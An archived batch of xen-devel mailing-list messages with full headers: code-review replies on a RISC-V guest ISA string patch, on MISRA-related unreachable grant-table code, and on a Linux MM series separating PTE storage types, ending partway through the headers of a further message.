Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785254021; x=1785858821; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=1OdBFH3HlFYCCrlRsVNKFtQSCMEDhM+Bng72g8CGjRA=;
        b=HH8RUCvFQl+Ir8N+mMzgdvn1CqCckwo/hDE4AoeCCR8TBFE8ku4TrO4xm/mkF1vM4h
         2PZt0YSDo0wfqkSycYHJmG36bngqLK4FF50Dltn6UbDnhh2YW280K5noeFQNF8+6MiaY
         Sv681pdLwnvIXE05no1NX9K21N1sfDHcbo+b8T4rjNw05mSJP6wjsjEvRp13Bu/Lbk8n
         hyrR7Vxb4TdvMQzC20tCCO4/tk+XKpOweb8/C4BuPZKaSp0X7KcXwVsMGFrk9UAphTWj
         efs4IUUPviEuyrTnmztaKW+ovbmQtliwKqx0weOI4FNa88b1nAgXmLtL9aFCZnM7jWFj
         BeBQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785254021; x=1785858821;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=1OdBFH3HlFYCCrlRsVNKFtQSCMEDhM+Bng72g8CGjRA=;
        b=E0hP5NiG/0WtiyvLUV3LxZzXfmuMxzNZrraOcZDvj4JZHZb37zPLbBsHxGz1ut2ScH
         472Mpsy8qxxwJTBa+rSGeXLGwhaqvNo9fzt3NZOlPyB2rkXE6RyKo738X3oukeTYbNqt
         gtbydTl58NZeP88txNaT0zmTs9TPGMr29ceC7WyI4cE7Pc9fnmwpY4icX6lT3o0BKCaM
         1RXvbX7Ku0J8twOEQW0DM7hkdLXqZSTrDm30QTnahb84dGXyaNWId9dVB5bwKDRpB7Fi
         rPySjMAJ2H/TRr6Bo1dLQDsYzhIS7lcEfuhIGw45d3yMTV9T+PNuJxBX1KFvxlXMuYU7
         McLA==
X-Forwarded-Encrypted: i=1; AHgh+Rq36WMK5XqIMQaipiDRz32bX+bGM8NtIK7LAPsuE3PLB3zTEqbGUbryTWGBKNk6G/VfSOq30RWzT7Q=@lists.xenproject.org
X-Gm-Message-State: AOJu0Ywbuk6iwG/HqpFncg9oK+RrsonANd3Qyv1OvK0JqaY1WmHTEA/+
	AhI1o6huA6sElW/7fVwx0apWrZKJ8OLhUaswxc3Z1Kgo+w91J3YitkuVn3Gly9XpolFlMbxVdI+
	DBIgkmQ==
X-Gm-Gg: AR+sD12TK1OWLU++BppPNRzGBc949pz1Q5MSZmxDTt5bWzX7neO4FnhWIbsKcuOsW9s
	Xp1bw1pFAmXe/kG5obPlV+8swp0A9knmsFS0UT3Qucw7PoPDhOvH/G/qeYAsZAXlHXrlr4uybl6
	x3JMol1YucWeVVVs0eiw/CQ3X/feX1p1CxMEGO+XwrJopaQEOrF0W0jrubJx5OJmVyj7O5UGYni
	yHXD3ydfvVaIZTdsUNu5WLwly5XrRSsTj+NyQYAc5OXs3X1bxvzeg/7f1494rMC/cY/scQ1ZpPQ
	EaCYTEgSn3KhUMKgrO9VKjQDm+OKIrL/t8cUXNGTgGfddweT8yCNAh9kq8NKIiJa56r7GAuSLkp
	ljovfZXT7SezM9BIeco7FP1pCAZXjt1hXZbU37Hl+gmxJUT53RJMXuMSUlrLYWC2TQgvTy3w4S3
	aywA0tCOpe+EBZKLksrDLeacQ7DhziTPCIfN2bRcow8ofJnWCNQraLpwoNDiTSDqyEFg==
X-Received: by 2002:a05:6000:2908:b0:47f:52e9:3716 with SMTP id ffacd0b85a97d-47fb1eb7108mr3747470f8f.44.1785254021492;
        Tue, 28 Jul 2026 08:53:41 -0700 (PDT)
Message-ID: <1fc062bd-3ae8-4669-9f5a-55595fa93456@suse.com>
Date: Tue, 28 Jul 2026 17:53:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 06/23] xen/riscv: introduce guest riscv,isa string
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <9f5d1005611daa4ba9e4324950fcfe10adbebc32.1784559209.git.oleksii.kurochko@gmail.com>
 <d329d1c0-59b1-4aa8-b72d-5aad3e310f07@suse.com>
 <1e6d2cc4-4bf0-4035-b6fa-52bd111f03fd@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9U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v+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1e6d2cc4-4bf0-4035-b6fa-52bd111f03fd@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785254022-F560A77B-F10D2743/10/73395122804
X-purgate-type: spam
X-purgate-size: 3555

On 28.07.2026 17:47, Oleksii Kurochko wrote:
> 
> 
> On 7/22/26 9:25 AM, Jan Beulich wrote:
>> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>>> Introduce build_guest_isa_str() to generate the riscv,isa string to be
>>> passed to the guest via the Device Tree riscv,isa property.
>>>
>>> Introduce the per-domain guest ISA bitmap, populated during domain
>>> creation by calling init_guest_isa().
>>>
>>> Introduce struct riscv_isa_ext_entry with a new guest_supported field
>>> to filter out ISA extensions that should not be exposed to guests:
>>>
>>> - f/d/q/v: FPU and vector context save/restore are not yet implemented
>>>    for guests.
>>> - Z*inx are not exposed either: they aren't in riscv_isa_ext[], so they
>>>    can never be set in riscv_isa and thus never reach a guest, and no
>>>    current hardware/guest-OS advertises or expects them. Supporting them
>>>    would be cheaper than F/D/Q (FP values stay in integer registers Xen
>>>    already context-switches), but is left as future work.
>>> - h: Nested virtualisation is not supported.
>>> - sstc: Xen owns the supervisor timer; guests must use SBI.
>>> - svade: Xen manages hardware A/D bit updates in stage-2 page tables.
>>> - svpbmt: Page-based memory types are not yet wired up in stage-2 code.
>>>
>>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>>
>> In principle
>> Acked-by: Jan Beulich <jbeulich@suse.com>
> 
> Thanks.
> 
>>
>> But see below.
>>
>>> ---
>>> Changes in v6:
>>> - build_guest_isa_str() now takes a `const struct domain *d` instead of a
>>>    raw `const unsigned long *isa_bitmap`, to leave room for using more than
>>>    just the bitmap in the future.
>>> - Compute the guest-visible ISA bitmap once at boot, into a new
>>>    __ro_after_init `guest_isa` bitmap (compute_guest_isa(), called at the
>>>    end of riscv_fill_hwcap()), instead of re-deriving it from
>>>    riscv_isa_ext[] on every domain creation in init_guest_isa(). All guests
>>>    currently get the same extension set, so this avoids repeating
>>>    identical work per domain; will need revisiting if/when per-domain ISA
>>>    policy is introduced.
>>> - struct arch_domain's `isa` field is now `const unsigned long *isa`
>>>    instead of an embedded bitmap; init_guest_isa() just points it at the
>>>    shared `guest_isa` bitmap rather than copying bits into a per-domain
>>>    array.
>>> - Mark riscv_isa_ext[] __initconstrel, since its entries hold name pointers
>>>    and the need for relocations requires that the compiler emit the data to
>>>    a writable section.
>>> - Make build_guest_isa_str() __init as it is called during make_cpus_node()
>>>    which is used only (at least, for now) in build time of domain.
>>
>> This last item is confusing. For one as there's no call site being added here
>> in the first place. 
> 
> Agree, I have to put that actual call happens in the follow up commit.
> 
> And then - why would the string need re-calculating when
>> the bitmap is calculated once at start of day?
> 
> It isn't re-calculated per call site, only once per domain build. But 
> you're right that today that's still redundant work: the bitmap is 
> shared, so every domain gets the same string. I kept the generation in 
> make_cpus_node() because the string is consumed there and thrown away, 
> and because per-domain ISA policy would put us back to building it per 
> domain anyway.

Which would be true for the bitmap as well. Imo both want treating the
same.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:53:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:53:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374956.1622318 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok7u-0001Am-Up; Tue, 28 Jul 2026 15:53:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374956.1622318; Tue, 28 Jul 2026 15:53:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok7u-0001Af-S3; Tue, 28 Jul 2026 15:53:54 +0000
Received: by outflank-mailman (input) for mailman id 1374956;
 Tue, 28 Jul 2026 15:53:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <nicola.vetrini@bugseng.com>) id 1wok7t-00019h-A6
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:53:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok7s-005Bzn-Mr
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:53:52 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <nicola.vetrini@bugseng.com>)
 id 6a68d072-bab6-0a2a0a5309dd-0a2a4506d82a-38
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:53:52 +0200
Received: from [162.55.131.47] (helo=support.bugseng.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <nicola.vetrini@bugseng.com>)
 id 6a68d090-195a-0a2a45060019-a237832fdf0e-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:53:52 +0200
Received: from support.bugseng.com (support.bugseng.com [162.55.131.47])
 (Authenticated sender: nicola)
 by support.bugseng.com (Postfix) with ESMTPA id 512034EE013D;
 Tue, 28 Jul 2026 17:53:52 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Authentication-Results: bugseng.com; arc=none smtp.remote-ip=162.55.131.47
ARC-Seal: i=1; d=bugseng.com; s=openarc; a=rsa-sha256; cv=none; t=1785254032;
	b=lWNQ8cczZlSXCybwKisiGioyiCI+u+CTWU/h6ienTzL6M7Nqp/cN5b6IJwFunifH+CTH
	 4cRQ98cWsCtG+50eMG/6IKWaREvKofTRzJ8FQbUslXbQqTg+HlAeJUb7/g430XAWtwLFN
	 R6bM/YwkNTY3bTkUXCv8y4m+5GazNyw88Ajx3NO4p0FcHPhaKRFFGi099UxzpiA7X/YY9
	 928vIhSr4syQ4Z9fBAMa8wR9og7QFCML92pqzdpsZ1fIqHOwuS73MdLf6WndyE1L3JQF9
	 DAmiewLPYbzRVCc5Dio6hCem+2rdjY40bicloUyJnz5FH7nfOpU5hYTeEdl1tdp2LJvEi
	 XsS/tJdSsdsYIGqSyGbfxu6XLRa8q3R1Bqpq1Cew58f6qpK5ImEUnVGNr+t/FwQCmt2+J
	 nMXMhaA2JYNEllGIXhheH1Hhi7pJaXpmSwjx/Tbpkx5JWkpuJ5fVmCtaJXFDOg+4gp4g2
	 9hbYgSv63NwTdew+F8LVsoMsKHNrifXyECTLeE/FvO1TnnwYWjfzK+fFCvCdp1Ctst7Yx
	 wQxRpw5XyhCzipFQulPaJjHUiXXciEgJAXd4N+ZINg4YNAonu4T4psJWAdsRNdwwPapV8
	 q4cxP1cLGYhARvd0DRvqQdh5t5livMLoj+eVC0nXAjzfmpZIpEaz+JOfKvyiKS8=
ARC-Message-Signature: i=1; d=bugseng.com; s=openarc; a=rsa-sha256;
	c=relaxed/relaxed; t=1785254032;
	h=MIME-Version:Date:From:To:Cc:Subject:In-Reply-To:References:
	 Message-ID:X-Sender:Organization:Content-Type:
	 Content-Transfer-Encoding;
	bh=5GX4ZyGRxb/Yyi6f5PXVS1SZmQcWwVXTaOpxtRPeAl0=;
	b=IdCXSUDJV7tV09sbTcaXHdYNInMh099QMUCtlg55aGMwnofWSkMvZYk/pZDOA/1oAW8s
	 8TixIo+CxQGSwicMwJhVFbxH1eWsmxohXveSXtVuD1/sl03VNv/kN5kTr1vkmPE6fI/9g
	 l7IRLVBR+ADeUrDmS64puW1ziPvrzqYvHqLWMOMXCwRoVOO5+UQ5vH1mW488aX/LfnlcL
	 6fk8qAga+rE0fl4zy6OmPRThc21l6ZaKK8pB55uthAG11mtam39K988SKBzxKAwBFjVyX
	 3BCy8y35EeKREkFShypU3GmTIEFcA5qr14TFpwVA4rLE2VxVlsTFNf3MAPJ0FkLleRXNp
	 +0w/zhqw7WwfU+R/gtbHr23Dye5R1GQVJCeQFmChQSKbRAHV/Jl8NaN8vLndGvKlC4SKW
	 MeiPNjXy3JxL73Xo/pLg4cgAfow73P/d7SRbDRWJNqE6XcbWdYuhvz1iCgKj4K9UDqowp
	 xKPDHTp/UnHcP25/IZiyzuoElNXyxjbIDKa22O0NjFLoGZJlxgmdQuPuJeTO1diZQyGtb
	 ndl1k+HES4j/hHRgi3MVQ4aRJGYmdhp5HHbUZmxjbR52SkzOUZEK0wANKJsEQxFflSc47
	 U3PU53M6zwBgabzdnz76KaQs4jHd3nD3P+myWrPeA17eZ5Mus9VBPr1scyLnrBA=
ARC-Authentication-Results: i=1; bugseng.com; arc=none smtp.remote-ip=162.55.131.47
MIME-Version: 1.0
Date: Tue, 28 Jul 2026 17:53:52 +0200
From: Nicola Vetrini <nicola.vetrini@bugseng.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: xen-devel@lists.xenproject.org, Andrew Cooper
 <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>, Stefano
 Stabellini <sstabellini@kernel.org>, Anthony PERARD
 <anthony.perard@vates.tech>, Michal Orzel <michal.orzel@amd.com>
Subject: Re: [PATCH 7/7] gnttab: unreachable code when GNTTAB_MAX_VERSION < 2
In-Reply-To: <5ca4d7a3-f109-4e16-8e82-7603874ea50d@suse.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
 <436c0688-8b9a-4e56-9d4c-c81dcfbea56e@suse.com>
 <013f1cb3f76ed613be42d4f6157e3d0d@bugseng.com>
 <5ca4d7a3-f109-4e16-8e82-7603874ea50d@suse.com>
Message-ID: <c6d253390de5936a167bafa39602423a@bugseng.com>
X-Sender: nicola.vetrini@bugseng.com
Organization: BUGSENG s.r.l.
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785254032-F667277B-8B11A0D5/0/0
X-purgate-type: clean
X-purgate-size: 1471

On 2026-07-28 17:42, Jan Beulich wrote:
> On 28.07.2026 17:40, Nicola Vetrini wrote:
>> On 2026-07-28 15:53, Jan Beulich wrote:
>>> I'm surprised Eclair doesn't spot the large chunks of unreachable 
>>> code
>>> on
>>> Arm, i.e. violations of Misra C:2012 rule 2.1.
>>> 
>>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>>> ---
>>> This pretty certainly isn't dealing with everything. For example, 
>>> with
>>> another helper the gt_version field could likely also become
>>> conditional.
>>> With some more effort the nr_status_frames field similarly could 
>>> become
>>> conditional.
>>> 
>> [...]
>> 
>> Hard to judge only looking at the diff. Is this code unreachable in 
>> the
>> arm64-allcode analysis configuration as well?
> 
> Arm uniformly has
> 
> #define GNTTAB_MAX_VERSION 1
> 
> so all gnttab-v2 code is unreachable there, no matter what 
> configuration.
> 
> Jan

I see. Existing deviations may play a role here in excluding caution 
reports that would otherwise be generated, particularly

-config=MC3A2.R2.1,+reports={safe,"first_area(^.*has an 
invariantly.*$)"}

I see only one condition "GNTTAB_MAX_VERSION" is used directly, while 
the others are via "opt_gnttab_max_version" which is why I reasoned 
there might be cautions involved, instead of violations.

-- 
Nicola Vetrini, B.Sc.
Software Engineer
BUGSENG (https://bugseng.com)
LinkedIn: https://www.linkedin.com/in/nicola-vetrini-a42471253


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 19:26:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 19:26:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375013.1622328 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wonRg-0007rr-5r; Tue, 28 Jul 2026 19:26:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375013.1622328; Tue, 28 Jul 2026 19:26:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wonRg-0007rk-21; Tue, 28 Jul 2026 19:26:32 +0000
Received: by outflank-mailman (input) for mailman id 1375013;
 Tue, 28 Jul 2026 19:26:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david@kernel.org>) id 1wonRe-0007p2-8z
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 19:26:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wonRd-0081sF-57
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 21:26:29 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david@kernel.org>)
 id 6a690265-bab6-0a2a0a5309dd-0a2a4506829c-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 21:26:29 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david@kernel.org>)
 id 6a690263-195a-0a2a45060019-aceafc1fab42-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 21:26:28 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 3F73C4404A;
 Tue, 28 Jul 2026 19:26:26 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 55FCD1F000E9;
 Tue, 28 Jul 2026 19:26:08 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785266786;
	bh=B9zPErIOkKOvWU4JJG+dspgkrLmx8WSjgAIhjf1cHOk=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=Wk+Dy2LdjSS++FUG8ogDF9T7pT+EAMTNcB05WeR4hXNaXglCVPisWY+LtMICE7Ccn
	 wg89k4Kvgy+wj1Z+MYeBAhF/fpDBT5QBmapIlx+G9nPNFi+PtoCZcgFGdFDnLbAXt0
	 xB9tb7u8wQORuyWEL/5BRGQ2JQ2k9CqZ2ZVyyUj8/EZCr1Qepptpcml/7TGdY1D8nm
	 GSTIcvePc1fP69qF+FthXNV/zsYPQIg7psEdREpgXn9BbFwQhb7/ZitQjH5BdGIeL5
	 10/HbxBCKZnA9MQ0tzrL6PXNOGh1zI0y/tMqhlx3SWm/HNYuS05o09qLSvFYiNKTIz
	 dUsn/WiERIxzg==
Message-ID: <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
Date: Tue, 28 Jul 2026 21:26:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: Muhammad Usama Anjum <usama.anjum@arm.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, agordeev@linux.ibm.com,
 ryan.roberts@arm.com
Cc: linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
References: <20260727164715.2866609-1-usama.anjum@arm.com>
From: "David Hildenbrand (Arm)" <david@kernel.org>
Content-Language: en-US
Autocrypt: addr=david@kernel.org; keydata=
 xsFNBFXLn5EBEAC+zY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/1785266789-FE07177B-B75F9420/0/0
X-purgate-type: clean
X-purgate-size: 2446

On 7/27/26 18:46, Muhammad Usama Anjum wrote:
> Hi,
> 
> pte_t currently describes both a logical PTE value and an element stored in
> a PTE table. Consequently, pte_t * can point either to a standalone value,
> often a stack copy, or to a PTE-table slot. The compiler cannot distinguish
> these cases. A value pointer can therefore be passed to an interface that
> expects table storage, while table storage can be read by direct
> dereference instead of the architecture accessor.
> 
> This series begins a staged conversion at the PTE level. It introduces
> hw_pte_t as the element type for PTE-table storage and converts generic MM
> to use hw_pte_t *. Logical PTE values remain pte_t. Interfaces that
> intentionally return a value through pte_t *, such as install_pte, remain
> value interfaces; the relevant parameters are named ptentp to make that
> distinction explicit.
> 
> The generic definition aliases hw_pte_t to pte_t, so this series preserves
> the representation and behaviour of every architecture. ptep_get() keeps
> its existing READ_ONCE() semantics and converts the stored element through
> __pte_from_hw(). An architecture can later define a distinct hw_pte_t and
> convert its PTE interfaces to make the distinction compiler-enforced.
> Architecture PTE implementations and most architecture code are
> deliberately left for those later opt-in conversions.
> 
> Here, hw_pte_t identifies PTE-table storage rather than table lifetime:
> complete PTE tables use hw_pte_t whether or not they are currently linked
> into a page-table hierarchy, while standalone copied values use pte_t. The
> distinction between complete but unlinked tables and hardware-reachable
> tables was raised during discussion and remains an important point for
> review.
> 
> PMD, PUD, P4D and PGD storage are deliberately out of scope. They can be
> converted in later series after the PTE boundary is agreed, avoiding the
> PMD-specific cases that made an all-level conversion difficult to review.
> 
> Most mechanical pointer conversions were generated with the Coccinelle
> script included below, then audited and fixed by hand.
> 
> This series does not add a second ptep_get_once() accessor and does not
> remove or replace STRICT_MM_TYPECHECKS.

Do you have a pointer at the arm64 part, so people can get a feeling for how an
actual hw_pte_t implementation can look like.

-- 
Cheers,

David


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 19:37:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 19:37:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375020.1622337 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wonbq-0004Fv-3k; Tue, 28 Jul 2026 19:37:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375020.1622337; Tue, 28 Jul 2026 19:37:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wonbq-0004Fo-0T; Tue, 28 Jul 2026 19:37:02 +0000
Received: by outflank-mailman (input) for mailman id 1375020;
 Tue, 28 Jul 2026 19:36:59 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wonbn-0004Fg-OB
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 19:36:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wonbm-00837G-KY
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 21:36:58 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69049f-bab6-0a2a0a5309dd-0a2a450884ac-44
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 21:36:53 +0200
Received: from [52.101.62.28]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
